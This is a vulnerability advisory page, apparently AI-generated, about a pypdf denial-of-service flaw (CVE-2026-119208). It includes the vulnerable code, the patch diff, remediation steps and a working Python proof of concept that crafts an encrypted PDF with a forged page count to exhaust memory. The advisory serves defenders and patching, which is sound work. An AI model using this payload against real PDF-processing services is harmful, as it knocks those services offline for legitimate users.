CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-119208

CVE-2026-119208: Uncontrolled Resource Consumption in pypdf Encrypted Page Count Evaluation

Amit Schendel
Amit Schendel
Senior Security Researcher

Oct 31, 2026·9 min read·3 visits

Executive Summary (TL;DR)

Versions of pypdf prior to 6.21.3 trust the unvalidated /Count metadata in encrypted PDFs even after decryption, enabling attackers to trigger memory exhaustion and CPU starvation via forged page counts.

CVE-2026-119208 is an uncontrolled resource consumption vulnerability in the pypdf Python library prior to version 6.21.3. When processing an encrypted PDF file after successful decryption, the get_num_pages() method fails to verify whether the encryption handler has already unlocked the document. Consequently, pypdf returns the unvalidated /Count integer directly from the /Pages catalog dictionary instead of traversing and flattening the actual page tree. Attackers can supply an encrypted PDF with an artificially inflated /Count attribute to trigger excessive memory allocation and prolonged CPU usage during downstream operations such as page iteration or label resolution.

Vulnerability Overview

pypdf is an open-source, pure-Python library used for reading, manipulating, splitting, merging, and decrypting PDF documents. In automated ingestion pipelines, backend services frequently use pypdf to inspect uploaded documents, extract text or metadata, and generate page thumbnails. When processing password-protected or standard empty-password encrypted files, applications rely on the PdfReader class and its inherited base class PdfDocCommon to unlock the container and expose the document structure.

In versions prior to 6.21.3, pypdf contains an uncontrolled resource consumption flaw classified under CWE-400. The vulnerability resides in pypdf/_doc_common.py within the get_num_pages() method, which determines the total number of pages in a document. This method is invoked directly by application code or indirectly whenever the length of the reader.pages sequence is queried.

When handling an encrypted document, pypdf checks the self.is_encrypted property to decide whether it can traverse the internal /Pages tree or if it must fall back to reading the top-level /Count integer from the root /Pages dictionary. Because self.is_encrypted remains True even after a document is decrypted in memory, pypdf continues to use the unvalidated /Count fallback on decrypted files.

An attacker can exploit this logic error by crafting an encrypted PDF with a single physical page while declaring a forged, arbitrarily large /Count integer in the /Pages dictionary. When a target application decrypts the file and accesses operations dependent on the page count, pypdf allocates memory and executes loops proportional to the forged integer, resulting in out-of-memory (OOM) termination or sustained CPU exhaustion.

Root Cause Analysis

According to the PDF specification, the document catalog references a root /Pages dictionary that defines the page tree hierarchy. This root node contains a /Kids array pointing to intermediate page tree nodes or leaf /Page objects, alongside a /Count entry specifying the total number of leaf nodes under that tree. Because PDF generators or malicious actors can set /Count to an arbitrary integer that does not match the actual number of leaf nodes in /Kids, a resilient parser must validate the structure by traversing and flattening the page tree.

In pypdf, page tree traversal is handled by the self._flatten() method, which populates self.flattened_pages with references to actual leaf page objects. For unencrypted documents, get_num_pages() executes self._flatten() and returns len(self.flattened_pages), ensuring the reported page count reflects the physical structure of the file. However, if a document is encrypted and has not yet been unlocked via decrypt(), the indirect objects inside /Kids cannot be parsed cleanly, requiring pypdf to fall back to the raw self.root_object["/Pages"]["/Count"] value.

The root cause of CVE-2026-119208 is a state tracking discrepancy between the file-level property self.is_encrypted and the runtime decryption status stored in self._encryption. In pypdf, self.is_encrypted checks for the presence of an /Encrypt dictionary in the PDF trailer. Calling reader.decrypt(password) initializes the cryptographic keys in self._encryption and marks the session as decrypted, but it does not mutate self.is_encrypted to False because the underlying file structure remains an encrypted container.

Because get_num_pages() checked only if self.is_encrypted:, it failed to distinguish between an encrypted document awaiting credentials and an encrypted document that had already been unlocked. Consequently, even after a valid password was supplied, get_num_pages() bypassed self._flatten() and returned the raw NumberObject stored in /Pages["/Count"].

Code Analysis

Prior to version 6.21.3, the implementation of get_num_pages() in pypdf/_doc_common.py assumed that any document where self.is_encrypted evaluated to True could not have its page tree flattened. This created a permanent bypass of the tree flattening mechanism for all encrypted PDFs.

# pypdf/_doc_common.py (Vulnerable implementation prior to 6.21.3)
def get_num_pages(self) -> int:
    # Flattened pages will not work on an encrypted PDF;
    # the PDF file's page count is used in this case. Otherwise,
    # the original method (flattened page count) is used.
    if self.is_encrypted:
        # VULNERABLE: Returns raw, unvalidated metadata even after decrypt() succeeds
        return self.root_object["/Pages"]["/Count"]  # type: ignore[no-any-return, index]
    if self.flattened_pages is None:
        self._flatten(self._readonly)
    return len(self.flattened_pages)

When downstream properties query the length of self.pages (an instance of _VirtualList backed by get_num_pages()), the unvalidated integer is propagated directly into memory allocation routines. A primary vector within the library is the page_labels property in PdfDocCommon, which passes len(self.pages) directly to index2labels():

@property
def page_labels(self) -> list[str]:
    # If len(self.pages) is 50,000,000, index2labels attempts to generate
    # a 50-million-element list of label strings.
    return index2labels(self, len(self.pages))

In commit 82b91951dc74496bb3efe6465434f041bb6a5e6b (Pull Request #4270), the maintainers updated get_num_pages() to inspect the internal self._encryption object. Specifically, the patch verifies whether encryption.is_decrypted() returns True before falling back to the unvalidated /Count entry.

--- a/pypdf/_doc_common.py
+++ b/pypdf/_doc_common.py
@@ -377,10 +377,12 @@ def get_num_pages(self) -> int:
             PdfReadError: If restrictions prevent this action.
 
         """
-        # Flattened pages will not work on an encrypted PDF;
-        # the PDF file's page count is used in this case. Otherwise,
-        # the original method (flattened page count) is used.
-        if self.is_encrypted:
+        # The page tree cannot be walked while the document is still encrypted;
+        # the PDF file's page count is used in this case. Once the document has
+        # been decrypted (or if it is not encrypted at all), the flattened page
+        # tree is used instead, as the /Count value might be wrong.
+        encryption = self._encryption
+        if self.is_encrypted and (encryption is None or not encryption.is_decrypted()):
             return self.root_object["/Pages"]["/Count"]  # type: ignore[no-any-return, index]
         if self.flattened_pages is None:
             self._flatten(self._readonly)

> [!NOTE] > Assessment of Fix Completeness: The patch resolves the vulnerability for all post-decryption operations by forcing self._flatten() to run once decryption keys are available. Note that if an application calls len(reader.pages) on an encrypted document before calling reader.decrypt(), get_num_pages() will still return the unvalidated /Count value because the page tree objects remain encrypted and unreadable. However, standard workflows require calling decrypt() prior to accessing page contents or labels, as encrypted objects raise FileNotDecryptedError when dereferenced.

Exploitation

Exploiting CVE-2026-119208 requires no authentication or specialized cryptographic manipulation. In the PDF specification, a document can be encrypted using an empty user password (""). Many automated PDF processing pipelines check if reader.is_encrypted: and immediately attempt reader.decrypt("") to handle documents that have owner-level permission restrictions (such as printing or modification locks) but no user-level open password.

To construct a malicious payload, an attacker initializes a valid PDF containing a single blank page, modifies the /Pages dictionary to overwrite /Count with a massive integer (such as 100,000,000), and encrypts the output stream with an empty password. Because the /Pages root dictionary and its /Count integer are parsed upon decryption, the forged count sits dormant until the target application queries the document length.

from io import BytesIO
from typing import cast
from pypdf import PdfReader, PdfWriter
from pypdf.generic import DictionaryObject, NameObject, NumberObject
 
# 1. Construct the malicious encrypted PDF payload
writer = PdfWriter()
writer.add_blank_page(100, 100)
 
# Overwrite the /Count attribute in the /Pages root dictionary
pages = cast(DictionaryObject, writer.root_object["/Pages"])
pages[NameObject("/Count")] = NumberObject(50_000_000)
 
# Apply empty-password encryption so self.is_encrypted is True
writer.encrypt("")
stream = BytesIO()
writer.write(stream)
stream.seek(0)
 
# 2. Target application ingests and decrypts the file
reader = PdfReader(stream)
if reader.is_encrypted:
    reader.decrypt("")
 
# 3. Trigger resource exhaustion
# On pypdf < 6.21.3, len(reader.pages) returns 50,000,000.
# Accessing page_labels attempts to build a 50M element list in RAM.
labels = reader.page_labels

When a vulnerable service executes reader.page_labels or iterates over range(len(reader.pages)), the Python process enters a tight loop allocating memory structures for millions of nonexistent pages. In containerized environments or web workers (such as Gunicorn or Celery), this allocation rapidly exceeds memory cgroup limits, triggering the Linux kernel OOM killer (SIGKILL) or raising an unhandled MemoryError exception.

Impact Assessment

The primary impact of CVE-2026-119208 is a high-severity Denial of Service (DoS) affecting system availability. The vulnerability is scored at 7.1 (High) under CVSS v4.0 (CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N). There is no direct impact on confidentiality (VC:N) or integrity (VI:N), as the flaw does not allow arbitrary memory reads, out-of-bounds writes, or code execution.

The amplification factor of this attack is substantial. A valid encrypted PDF containing a single blank page and a forged /Count integer requires less than 2 kilobytes of disk space or network bandwidth. When processed by a vulnerable application, this 2 KB payload can force the Python interpreter to allocate several gigabytes of heap memory and consume 100% of a CPU core for an extended duration.

Services at highest risk include document management systems, automated invoice or resume parsers, email security gateways, and cloud-based PDF utilities that automatically decrypt empty-password PDFs or accept user-supplied passwords alongside uploaded files. If an attacker submits multiple crafted files concurrently, they can exhaust all available worker threads and host memory, rendering the application unavailable to legitimate users.

Remediation

The definitive remediation is to upgrade pypdf to version 6.21.3 or later. Version 6.21.3 modifies get_num_pages() so that decrypted documents immediately traverse and flatten the /Pages tree, ensuring len(reader.pages) reflects the true count of physical leaf pages rather than the unvalidated /Count integer.

pip install --upgrade "pypdf>=6.21.3"

For environments where an immediate library upgrade is blocked by dependency constraints, developers can implement an application-level workaround by manually invoking reader._flatten() immediately after calling reader.decrypt(), and comparing the flattened list length against any declared metadata before accessing reader.page_labels or iterating over reader.pages.

from pypdf import PdfReader
 
reader = PdfReader("untrusted.pdf")
if reader.is_encrypted:
    reader.decrypt("")
    # Workaround for pypdf < 6.21.3: Force page tree flattening after decryption
    if reader.flattened_pages is None:
        reader._flatten()
    actual_page_count = len(reader.flattened_pages)

In addition to patching the library, operators processing untrusted PDF files should enforce defense-in-depth runtime constraints. PDF parsing tasks should execute inside isolated worker processes configured with strict memory ceilings (via Linux cgroups, Docker --memory flags, or Python's resource.setrlimit(resource.RLIMIT_AS, ...)) and hard execution timeouts to prevent a single malformed document from degrading host stability.

Official Patches

py-pdfpypdf 6.21.3 Official Release
py-pdfPull Request #4270: SEC: Use the validated page count after decrypting a document
GitHubGitHub Security Advisory GHSA-62m5-6wh8-28x7

Fix Analysis (1)

Technical Appendix

CVSS Score
7.1/ 10
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Probability
0.30%
Top 77% most exploited

Affected Systems

pypdf (Python Package Index / PyPI)

Affected Versions Detail

Product
Affected Versions
Fixed Version
pypdf
py-pdf
< 6.21.36.21.3
AttributeDetail
Vulnerability TypeCWE-400: Uncontrolled Resource Consumption
Attack VectorNetwork (Crafted Encrypted PDF File)
CVSS v4.0 Score7.1 High (AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H)
EPSS Score0.30% (23.18th Percentile)
Affected ComponentPdfDocCommon.get_num_pages() in pypdf/_doc_common.py
ImpactDenial of Service via Memory Exhaustion & CPU Lockup
Exploit StatusProof-of-Concept Available (Unit Test Reproduction)
Patched Versionpypdf 6.21.3

MITRE ATT&CK Mapping

T1499Endpoint Denial of Service
Impact
CWE-400
Uncontrolled Resource Consumption

The product does not properly control the allocation or consumption of a limited resource, thereby enabling an actor to consume more resources than intended.

Vulnerability Timeline

Pull Request #4270 merged into py-pdf/pypdf (commit 82b91951dc74496bb3efe6465434f041bb6a5e6b)
2026-10-27
pypdf version 6.21.3 released with the security fix
2026-10-27
GitHub Security Advisory GHSA-62m5-6wh8-28x7 and CVE-2026-119208 published
2026-10-29
NVD record updated with CVSS v4.0 assessment and metadata
2026-10-30

References & Sources

  • [1]GitHub Security Advisory GHSA-62m5-6wh8-28x7
  • [2]GitHub Pull Request #4270: SEC: Use the validated page count after decrypting a document
  • [3]Fix Commit 82b91951dc74496bb3efe6465434f041bb6a5e6b
  • [4]pypdf Release 6.21.3
  • [5]National Vulnerability Database (NVD) - CVE-2026-119208
  • [6]CVE.org Record - CVE-2026-119208
  • [7]CVEListV5 Official JSON Record
  • [8]Wiz Vulnerability Database - CVE-2026-119208

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•40 minutes ago•CVE-2026-119209
5.5

CVE-2026-119209: Uncontrolled Resource Consumption in pypdf XRef Stream Parser

CVE-2026-119209 is an uncontrolled resource consumption vulnerability in the pypdf Python library prior to version 6.21.3. The flaw exists within the PDF 1.5 cross-reference (XRef) stream parsing routines in pypdf/_reader.py. Due to the absence of a document-wide entry limit across chained cross-reference streams and improper validation of negative entry counts in the /Index array, an attacker can craft a compact PDF file that triggers excessive memory allocation, resulting in a Denial of Service (DoS) via MemoryError or process termination.

Alon Barad
Alon Barad
1 views•11 min read
•about 3 hours ago•CVE-2026-119207
7.1

CVE-2026-119207: Asymmetric Resource Consumption in pypdf Dictionary Parser

CVE-2026-119207 (GHSA-4vqv-7265-gm2w) is an asymmetric resource consumption and denial-of-service (DoS) vulnerability in the open-source Python PDF manipulation library pypdf. In versions prior to 6.21.3, the DictionaryObject.read_from_stream method fails to bound exception message lengths when encountering malformed, unclosed dictionary structures in strict mode. When nested dictionary parsing fails, each level catches the inner exception and raises a new PdfReadError initialized with the string representation (exc.__repr__()) of the caught exception. This recursive wrapping causes geometric string expansion across the call stack, enabling a minimal PDF payload of a few hundred bytes to exhaust gigabytes of heap memory and crash the host Python process.

Alon Barad
Alon Barad
5 views•10 min read
•about 4 hours ago•CVE-2026-119206
7.1

CVE-2026-119206: Algorithmic Complexity Denial of Service in pypdf Page Label Resolution

CVE-2026-119206 is an algorithmic complexity vulnerability in pypdf prior to version 6.21.3 that causes uncontrolled CPU resource consumption when evaluating the page_labels property. Due to repeated linear scans of the PDF catalog's /PageLabels number tree from index zero for each individual page, processing a document with a large number of pages and label ranges scales quadratically. An unauthenticated attacker can supply a crafted PDF document to an application that reads page labels, resulting in prolonged execution times and denial of service.

Amit Schendel
Amit Schendel
5 views•10 min read
•about 5 hours ago•CVE-2026-116672
8.8

CVE-2026-116672: Authorization Bypass in Authlib RFC 7592 Client Configuration Endpoint

Authlib versions 0.15 through 1.9.0 contain an authorization bypass vulnerability (CWE-639) in the RFC 7592 ClientConfigurationEndpoint implementation and its corresponding reference documentation. The framework fails to verify that the presented registration access token belongs to the target client specified in the request, and the official reference implementations for authenticate_client and check_permission omit token-to-client binding checks. Consequently, an authenticated client holding any valid registration access token can read, modify, or delete the registration metadata of arbitrary clients on the authorization server.

Alon Barad
Alon Barad
4 views•8 min read
•about 6 hours ago•CVE-2026-118773
6.3

CVE-2026-118773: Asynchronous Control Flow Bypass and Uncontrolled Resource Consumption in node-glob

CVE-2026-118773 (GHSA-3g3m-2fjr-6pw4) is an uncontrolled resource consumption vulnerability in the node-glob npm package affecting versions 9.0.0 through 14.0.1. Due to missing return statements in the AbortSignal check routines within the directory traversal walker, aborted operations reject the caller promise as expected but continue executing background filesystem reads and pattern matching. Applications that rely on AbortSignal or AbortSignal.timeout() to enforce execution budgets on user-influenced glob operations remain susceptible to CPU, event loop, and disk I/O exhaustion.

Amit Schendel
Amit Schendel
5 views•10 min read
•about 7 hours ago•CVE-2026-118764
6.9

CVE-2026-118764: Asymmetric Resource Consumption and Denial of Service in minimatch Pattern Preprocessing

CVE-2026-118764 (also tracked as GHSA-g3hv-75wg-m249) is an asymmetric resource consumption vulnerability (CWE-405) in the npm package minimatch prior to version 11.0.1. When pattern compilation is invoked with an optimizationLevel of 2 or higher, the internal preprocessing functions firstPhasePreProcess() and secondPhasePreProcess() in src/index.ts perform unbounded pattern splitting and quadratic pairwise deduplication. An attacker supplying a crafted glob string containing repeated **/.. segments can induce a combinatorial explosion of pattern permutations followed by an O(M^2) comparison routine, blocking the Node.js event loop and exhausting process memory.

Amit Schendel
Amit Schendel
5 views•9 min read